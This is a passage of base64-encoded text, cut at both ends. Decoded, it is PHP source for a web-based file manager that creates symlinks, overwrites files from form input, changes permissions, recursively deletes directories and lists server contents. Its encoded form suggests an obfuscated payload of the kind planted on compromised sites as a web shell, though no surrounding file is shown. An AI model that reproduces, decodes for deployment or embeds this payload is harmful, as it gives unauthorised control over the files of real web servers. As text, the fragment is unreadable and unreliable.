V4aXN0cygkZGVzdCkgJiYgQHN5bWxpbmsoJGZpbGUsICRkZXN0KSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnc3ltbGlua2VkJywgJGZpbGUsICRkZXN0KSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zeW1saW5rZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciIGlkPSJzeW1saW5rIj4NCjx0cj4NCgk8dGQgc3R5bGU9InZlcnRpY2FsLWFsaWduOiB0b3AiPicgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzogPC90ZD4NCgk8dGQ+DQoJCTxiPicgLiBodG1sKCRmaWxlKSAuICc8L2I+PGJyIC8+DQoJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVsYXRpdmUiIHZhbHVlPSJ5ZXMiIGlkPSJjaGVja2JveF9yZWxhdGl2ZSIgY2hlY2tlZD0iY2hlY2tlZCIgc3R5bGU9Im1hcmdpbi10b3A6IDFleCIgLz4NCgkJPGxhYmVsIGZvcj0iY2hlY2tib3hfcmVsYXRpdmUiPicgLiB3b3JkKCdyZWxhdGl2ZScpIC4gJzwvbGFiZWw+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImNyZWF0ZV9zeW1saW5rIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KCTx0ZD4nIC4gd29yZCgnc3ltbGluaycpIC4gJzogPC90ZD4NCgk8dGQ+DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGRpcmVjdG9yeSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZV9zeW1saW5rJykgLiAnIiAvPg0KCTwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2VkaXQnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3NhdmUnXSkpIHsNCg0KCQkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJF9QT1NUWydjb250ZW50J10pOw0KDQoJCWlmICgoJGYgPSBAZm9wZW4oJGZpbGUsICd3JykpICYmIEBmd3JpdGUoJGYsICRjb250ZW50KSAhPT0gZmFsc2UgJiYgQGZjbG9zZSgkZikpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3NhdmVkJywgJGZpbGUpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3NhdmVkJywgJGZpbGUpKTsNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlpZiAoQGlzX3JlYWRhYmxlKCRmaWxlKSAmJiBAaXNfd3JpdGFibGUoJGZpbGUpKSB7DQoJCQllZGl0KCRmaWxlKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2VkaXRlZCcsICRmaWxlKSk7DQoJCX0NCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdwZXJtaXNzaW9uJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydzZXQnXSkpIHsNCg0KCQkkbW9kZSA9IDA7DQoJCWlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkgJG1vZGUgfD0gMDQwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V3J10pKSAkbW9kZSB8PSAwMjAwOyBpZiAoIWVtcHR5KCRfUE9TVFsndXgnXSkpICRtb2RlIHw9IDAxMDA7DQoJCWlmICghZW1wdHkoJF9QT1NUWydnciddKSkgJG1vZGUgfD0gMDA0MDsgaWYgKCFlbXB0eSgkX1BPU1RbJ2d3J10pKSAkbW9kZSB8PSAwMDIwOyBpZiAoIWVtcHR5KCRfUE9TVFsnZ3gnXSkpICRtb2RlIHw9IDAwMTA7DQoJCWlmICghZW1wdHkoJF9QT1NUWydvciddKSkgJG1vZGUgfD0gMDAwNDsgaWYgKCFlbXB0eSgkX1BPU1RbJ293J10pKSAkbW9kZSB8PSAwMDAyOyBpZiAoIWVtcHR5KCRfUE9TVFsnb3gnXSkpICRtb2RlIHw9IDAwMDE7DQoNCgkJaWYgKEBjaG1vZCgkZmlsZSwgJG1vZGUpKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdwZXJtaXNzaW9uX3NldCcsICRmaWxlLCBkZWNvY3QoJG1vZGUpKSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ3Blcm1pc3Npb25fbm90X3NldCcsICRmaWxlLCBkZWNvY3QoJG1vZGUpKSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQkkbW9kZSA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQoNCgk8cCBzdHlsZT0ibWFyZ2luOiAwIj4nIC4gcGhyYXNlKCdwZXJtaXNzaW9uX2ZvcicsICRmaWxlKSAuICc8L3A+DQoNCgk8aHIgLz4NCg0KCTx0YWJsZSBpZD0icGVybWlzc2lvbiI+DQoJPHRyPg0KCQk8dGQ+PC90ZD4NCgkJPHRkIHN0eWxlPSJib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBibGFjayI+JyAuIHdvcmQoJ293bmVyJykgLiAnPC90ZD4NCgkJPHRkIHN0eWxlPSJib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBibGFjayI+JyAuIHdvcmQoJ2dyb3VwJykgLiAnPC90ZD4NCgkJPHRkPicgLiB3b3JkKCdvdGhlcicpIC4gJzwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPicgLiB3b3JkKCdyZWFkJykgLiAnOjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InVyIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDQwMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDQwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMDQpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPicgLiB3b3JkKCd3cml0ZScpIC4gJzo8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1dyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAyMDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd3IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAyMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3ciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDAyKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgnZXhlY3V0ZScpIC4gJzo8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1eCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAxMDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd4IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAxMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3giIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDAxKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxociAvPg0KDQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2V0IiB2YWx1ZT0iJyAuIHdvcmQoJ3NldCcpIC4gJyIgLz4NCg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InBlcm1pc3Npb24iIC8+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpkZWZhdWx0Og0KDQoJbGlzdGluZ19wYWdlKCk7DQoNCn0NCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQpmdW5jdGlvbiBnZXRsaXN0ICgkZGlyZWN0b3J5KSB7DQoJZ2xvYmFsICRkZWxpbSwgJHdpbjsNCg0KCWlmICgkZCA9IEBvcGVuZGlyKCRkaXJlY3RvcnkpKSB7DQoNCgkJd2hpbGUgKCgkZmlsZW5hbWUgPSBAcmVhZGRpcigkZCkpICE9PSBmYWxzZSkgew0KDQoJCQkkcGF0aCA9ICRkaXJlY3RvcnkgLiAkZmlsZW5hbWU7DQoNCgkJCWlmICgkc3RhdCA9IEBsc3RhdCgkcGF0aCkpIHsNCg0KCQkJCSRmaWxlID0gYXJyYXkoDQoJCQkJCSdmaWxlbmFtZScgICAgPT4gJGZpbGVuYW1lLA0KCQkJCQkncGF0aCcgICAgICAgID0+ICRwYXRoLA0KCQkJCQknaXNfZmlsZScgICAgID0+IEBpc19maWxlKCRwYXRoKSwNCgkJCQkJJ2lzX2RpcicgICAgICA9PiBAaXNfZGlyKCRwYXRoKSwNCgkJCQkJJ2lzX2xpbmsnICAgICA9PiBAaXNfbGluaygkcGF0aCksDQoJCQkJCSdpc19yZWFkYWJsZScgPT4gQGlzX3JlYWRhYmxlKCRwYXRoKSwNCgkJCQkJJ2lzX3dyaXRhYmxlJyA9PiBAaXNfd3JpdGFibGUoJHBhdGgpLA0KCQkJCQknc2l6ZScgICAgICAgID0+ICRzdGF0WydzaXplJ10sDQoJCQkJCSdwZXJtaXNzaW9uJyAgPT4gJHN0YXRbJ21vZGUnXSwNCgkJCQkJJ293bmVyJyAgICAgICA9PiAkc3RhdFsndWlkJ10sDQoJCQkJCSdncm91cCcgICAgICAgPT4gJHN0YXRbJ2dpZCddLA0KCQkJCQknbXRpbWUnICAgICAgID0+IEBmaWxlbXRpbWUoJHBhdGgpLA0KCQkJCQknYXRpbWUnICAgICAgID0+IEBmaWxlYXRpbWUoJHBhdGgpLA0KCQkJCQknY3RpbWUnICAgICAgID0+IEBmaWxlY3RpbWUoJHBhdGgpDQoJCQkJKTsNCg0KCQkJCWlmICgkZmlsZVsnaXNfZGlyJ10pIHsNCgkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBmaWxlX2V4aXN0cygkcGF0aCAuICRkZWxpbSAuICcuJyk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYgKCEkd2luKSB7DQoJCQkJCQkkZmlsZVsnaXNfZXhlY3V0YWJsZSddID0gQGlzX2V4ZWN1dGFibGUoJHBhdGgpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IHRydWU7DQoJCQkJCX0NCgkJCQl9DQoNCgkJCQlpZiAoJGZpbGVbJ2lzX2xpbmsnXSkgJGZpbGVbJ3RhcmdldCddID0gQHJlYWRsaW5rKCRwYXRoKTsNCg0KCQkJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpICRmaWxlWydvd25lcl9uYW1lJ10gPSBAcmVzZXQocG9zaXhfZ2V0cHd1aWQoJGZpbGVbJ293bmVyJ10pKTsNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSAkZmlsZVsnZ3JvdXBfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldGdyZ2lkKCRmaWxlWydncm91cCddKSk7DQoNCgkJCQkkZmlsZXNbXSA9ICRmaWxlOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCXJldHVybiAkZmlsZXM7DQoNCgl9IGVsc2Ugew0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHNvcnRsaXN0ICgmJGxpc3QsICRrZXksICRyZXZlcnNlKSB7DQoNCglxdWlja3NvcnQoJGxpc3QsIDAsIHNpemVvZigkbGlzdCkgLSAxLCAka2V5KTsNCg0KCWlmICgkcmV2ZXJzZSkgJGxpc3QgPSBhcnJheV9yZXZlcnNlKCRsaXN0KTsNCg0KfQ0KDQpmdW5jdGlvbiBxdWlja3NvcnQgKCYkYXJyYXksICRmaXJzdCwgJGxhc3QsICRrZXkpIHsNCg0KCWlmICgkZmlyc3QgPCAkbGFzdCkgew0KDQoJCSRjbXAgPSAkYXJyYXlbZmxvb3IoKCRmaXJzdCArICRsYXN0KSAvIDIpXVska2V5XTsNCg0KCQkkbCA9ICRmaXJzdDsNCgkJJHIgPSAkbGFzdDsNCg0KCQl3aGlsZSAoJGwgPD0gJHIpIHsNCg0KCQkJd2hpbGUgKCRhcnJheVskbF1bJGtleV0gPCAkY21wKSAkbCsrOw0KCQkJd2hpbGUgKCRhcnJheVskcl1bJGtleV0gPiAkY21wKSAkci0tOw0KDQoJCQlpZiAoJGwgPD0gJHIpIHsNCg0KCQkJCSR0bXAgPSAkYXJyYXlbJGxdOw0KCQkJCSRhcnJheVskbF0gPSAkYXJyYXlbJHJdOw0KCQkJCSRhcnJheVskcl0gPSAkdG1wOw0KDQoJCQkJJGwrKzsNCgkJCQkkci0tOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCXF1aWNrc29ydCgkYXJyYXksICRmaXJzdCwgJHIsICRrZXkpOw0KCQlxdWlja3NvcnQoJGFycmF5LCAkbCwgJGxhc3QsICRrZXkpOw0KDQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHBlcm1pc3Npb25fb2N0YWwyc3RyaW5nICgkbW9kZSkgew0KDQoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgew0KCQkkdHlwZSA9ICdzJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7DQoJCSR0eXBlID0gJ2wnOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHsNCgkJJHR5cGUgPSAnLSc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgew0KCQkkdHlwZSA9ICdiJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7DQoJCSR0eXBlID0gJ2QnOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHsNCgkJJHR5cGUgPSAnYyc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgew0KCQkkdHlwZSA9ICdwJzsNCgl9IGVsc2Ugew0KCQkkdHlwZSA9ICc/JzsNCgl9DQoNCgkkb3duZXIgID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KCSRvd25lciAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7DQoJaWYgKCRtb2RlICYgMHg4MDApIHsNCgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICdzJyA6ICdTJzsNCgl9IGVsc2Ugew0KCQkkb3duZXIgLj0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOw0KCX0NCg0KCSRncm91cCAgPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7DQoJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCglpZiAoJG1vZGUgJiAweDQwMCkgew0KCQkkZ3JvdXAgLj0gKCRtb2RlICYgMDAwMTApID8gJ3MnIDogJ1MnOw0KCX0gZWxzZSB7DQoJCSRncm91cCAuPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7DQoJfQ0KDQoJJG90aGVyICA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4MjAwKSB7DQoJCSRvdGhlciAuPSAoJG1vZGUgJiAwMDAwMSkgPyAndCcgOiAnVCc7DQoJfSBlbHNlIHsNCgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCgl9DQoNCglyZXR1cm4gJHR5cGUgLiAkb3duZXIgLiAkZ3JvdXAgLiAkb3RoZXI7DQoNCn0NCg0KZnVuY3Rpb24gaXNfc2NyaXB0ICgkZmlsZW5hbWUpIHsNCglyZXR1cm4gZXJlZygnXC5waHAkfFwucGhwMyR8XC5waHA0JHxcLnBocDUkJywgJGZpbGVuYW1lKTsNCn0NCg0KZnVuY3Rpb24gZ2V0bWltZXR5cGUgKCRmaWxlbmFtZSkgew0KCXN0YXRpYyAkbWltZXMgPSBhcnJheSgNCgkJJ1wuanBnJHxcLmpwZWckJyAgPT4gJ2ltYWdlL2pwZWcnLA0KCQknXC5naWYkJyAgICAgICAgICA9PiAnaW1hZ2UvZ2lmJywNCgkJJ1wucG5nJCcgICAgICAgICAgPT4gJ2ltYWdlL3BuZycsDQoJCSdcLmh0bWwkfFwuaHRtbCQnID0+ICd0ZXh0L2h0bWwnLA0KCQknXC50eHQkfFwuYXNjJCcgICA9PiAndGV4dC9wbGFpbicsDQoJCSdcLnhtbCR8XC54c2wkJyAgID0+ICdhcHBsaWNhdGlvbi94bWwnLA0KCQknXC5wZGYkJyAgICAgICAgICA9PiAnYXBwbGljYXRpb24vcGRmJw0KCSk7DQoNCglmb3JlYWNoICgkbWltZXMgYXMgJHJlZ2V4ID0+ICRtaW1lKSB7DQoJCWlmIChlcmVnaSgkcmVnZXgsICRmaWxlbmFtZSkpIHJldHVybiAkbWltZTsNCgl9DQoNCgkvLyByZXR1cm4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJcmV0dXJuICd0ZXh0L3BsYWluJzsNCg0KfQ0KDQpmdW5jdGlvbiBkZWwgKCRmaWxlKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmICFmaWxlX2V4aXN0cygkZmlsZSkpIHJldHVybiBmYWxzZTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmIEBpc19kaXIoJGZpbGUpKSB7DQoNCgkJaWYgKCRkaXIgPSBAb3BlbmRpcigkZmlsZSkpIHsNCg0KCQkJJGVycm9yID0gZmFsc2U7DQoNCgkJCXdoaWxlICgoJGYgPSByZWFkZGlyKCRkaXIpKSAhPT0gZmFsc2UpIHsNCgkJCQlpZiAoJGYgIT0gJy4nICYmICRmICE9ICcuLicgJiYgIWRlbCgkZmlsZSAuICRkZWxpbSAuICRmKSkgew0KCQkJCQkkZXJyb3IgPSB0cnVlOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKCRkaXIpOw0KDQoJCQlpZiAoISRlcnJvcikgcmV0dXJuIEBybWRpcigkZmlsZSk7DQoNCgkJCXJldHVybiAhJGVycm9yOw0KDQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCg0KCX0gZWxzZSB7DQoJCXJldHVybiBAdW5saW5rKCRmaWxlKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gYWRkc2xhc2ggKCRkaXJlY3RvcnkpIHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKHN1YnN0cigkZGlyZWN0b3J5LCAtMSwgMSkgIT0gJGRlbGltKSB7DQoJCXJldHVybiAkZGlyZWN0b3J5IC4gJGRlbGltOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkZGlyZWN0b3J5Ow0KCX0NCg0KfQ0KDQpmdW5jdGlvbiByZWxhdGl2ZTJhYnNvbHV0ZSAoJHN0cmluZywgJGRpcmVjdG9yeSkgew0KDQoJaWYgKHBhdGhfaXNfcmVsYXRpdmUoJHN0cmluZykpIHsNCgkJcmV0dXJuIHNpbXBsaWZ5X3BhdGgoYWRkc2xhc2goJGRpcmVjdG9yeSkgLiAkc3RyaW5nKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gc2ltcGxpZnlfcGF0aCgkc3RyaW5nKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gcGF0aF9pc19yZWxhdGl2ZSAoJHBhdGgpIHsNCglnbG9iYWwgJHdpbjsNCg0KCWlmICgkd2luKSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAxLCAxKSAhPSAnOicpOw0KCX0gZWxzZSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycpOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBhYnNvbHV0ZTJyZWxhdGl2ZSAoJGRpcmVjdG9yeSwgJHRhcmdldCkgew0KCWdsb2JhbCAkZGVsaW07DQoNCgkkcGF0aCA9ICcnOw0KCXdoaWxlICgkZGlyZWN0b3J5ICE9ICR0YXJnZXQpIHsNCgkJaWYgKCRkaXJlY3RvcnkgPT0gc3Vic3RyKCR0YXJnZXQsIDAsIHN0cmxlbigkZGlyZWN0b3J5KSkpIHsNCgkJCSRwYXRoIC49IHN1YnN0cigkdGFyZ2V0LCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJYnJlYWs7DQoJCX0gZWxzZSB7DQoJCQkkcGF0aCAuPSAnLi4nIC4gJGRlbGltOw0KCQkJJGRpcmVjdG9yeSA9IHN1YnN0cigkZGlyZWN0b3J5LCAwLCBzdHJycG9zKHN1YnN0cigkZGlyZWN0b3J5LCAwLCAtMSksICRkZWxpbSkgKyAxKTsNCgkJfQ0KCX0NCglpZiAoJHBhdGggPT0gJycpICRwYXRoID0gJy4nOw0KDQoJcmV0dXJuICRwYXRoOw0KDQp9DQoNCmZ1bmN0aW9uIHNpbXBsaWZ5X3BhdGggKCRwYXRoKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmIGZ1bmN0aW9uX2V4aXN0cygncmVhbHBhdGgnKSAmJiBAcmVhbHBhdGgoJHBhdGgpICE9ICcnKSB7DQoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpOw0KCQlpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJCXJldHVybiBhZGRzbGFzaCgkcGF0aCk7DQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gJHBhdGg7DQoJCX0NCgl9DQoNCgkkcGF0dGVybiAgPSAkZGVsaW0gLiAnLicgLiAkZGVsaW07DQoNCglpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJJHBhdGggPSBhZGRzbGFzaCgkcGF0aCk7DQoJfQ0KDQoJd2hpbGUgKHN0cnBvcygkcGF0aCwgJHBhdHRlcm4pICE9PSBmYWxzZSkgew0KCQkkcGF0aCA9IHN0cl9yZXBsYWNlKCRwYXR0ZXJuLCAkZGVsaW0sICRwYXRoKTsNCgl9DQoNCgkkZSA9IGFkZHNsYXNoZXMoJGRlbGltKTsNCgkkcmVnZXggPSAkZSAuICcoKFwuW15cLicgLiAkZSAuICddW14nIC4gJGUgLiAnXSopfChcLlwuW14nIC4gJGUgLiAnXSspfChbXlwuXVteJyAuICRlIC4gJ10qKSknIC4gJGUgLiAnXC5cLicgLiAkZTsNCg0KCXdoaWxlIChlcmVnKCRyZWdleCwgJHBhdGgpKSB7DQoJCSRwYXRoID0gZXJlZ19yZXBsYWNlKCRyZWdleCwgJGRlbGltLCAkcGF0aCk7DQoJfQ0KCQ0KCXJldHVybiAkcGF0aDsNCg0KfQ0KDQpmdW5jdGlvbiBodW1hbl9maWxlc2l6ZSAoJGZpbGVzaXplKSB7DQoNCgkkc3VmZmljZXMgPSAna01HVFBFJzsNCg0KCSRuID0gMDsNCgl3aGlsZSAoJGZpbGVzaXplID49IDEwMDApIHsNCgkJJGZpbGVzaXplIC89IDEwMjQ7DQoJCSRuKys7DQoJfQ0KDQoJJGZpbGVzaXplID0gcm91bmQoJGZpbGVzaXplLCAzIC0gc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSk7DQoNCglpZiAoc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSAhPT0gZmFsc2UpIHsNCgkJd2hpbGUgKGluX2FycmF5KHN1YnN0cigkZmlsZXNpemUsIC0xLCAxKSwgYXJyYXkoJzAnLCAnLicpKSkgew0KCQkJJGZpbGVzaXplID0gc3Vic3RyKCRmaWxlc2l6ZSwgMCwgc3RybGVuKCRmaWxlc2l6ZSkgLSAxKTsNCgkJfQ0KCX0NCg0KCSRzdWZmaXggPSAoKCRuID09IDApID8gJycgOiBzdWJzdHIoJHN1ZmZpY2VzLCAkbiAtIDEsIDEpKTsNCg0KCXJldHVybiAkZmlsZXNpemUgLiAiIHskc3VmZml4fUIiOw0KDQp9DQoNCmZ1bmN0aW9uIHN0cmlwICgmJHN0cikgew0KCSRzdHIgPSBzdHJpcHNsYXNoZXMoJHN0cik7DQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gbGlzdGluZ19wYWdlICgkbWVzc2FnZSA9IG51bGwpIHsNCglnbG9iYWwgJHNlbGYsICRkaXJlY3RvcnksICRzb3J0LCAkcmV2ZXJzZTsNCg0KCWh0bWxfaGVhZGVyKCk7DQoNCgkkbGlzdCA9IGdldGxpc3QoJGRpcmVjdG9yeSk7DQoNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygnc29ydCcsICRfR0VUKSkgJHNvcnQgPSAkX0dFVFsnc29ydCddOyBlbHNlICRzb3J0ID0gJ2ZpbGVuYW1lJzsNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygncmV2ZXJzZScsICRfR0VUKSAmJiAkX0dFVFsncmV2ZXJzZSddID09ICd0cnVlJykgJHJldmVyc2UgPS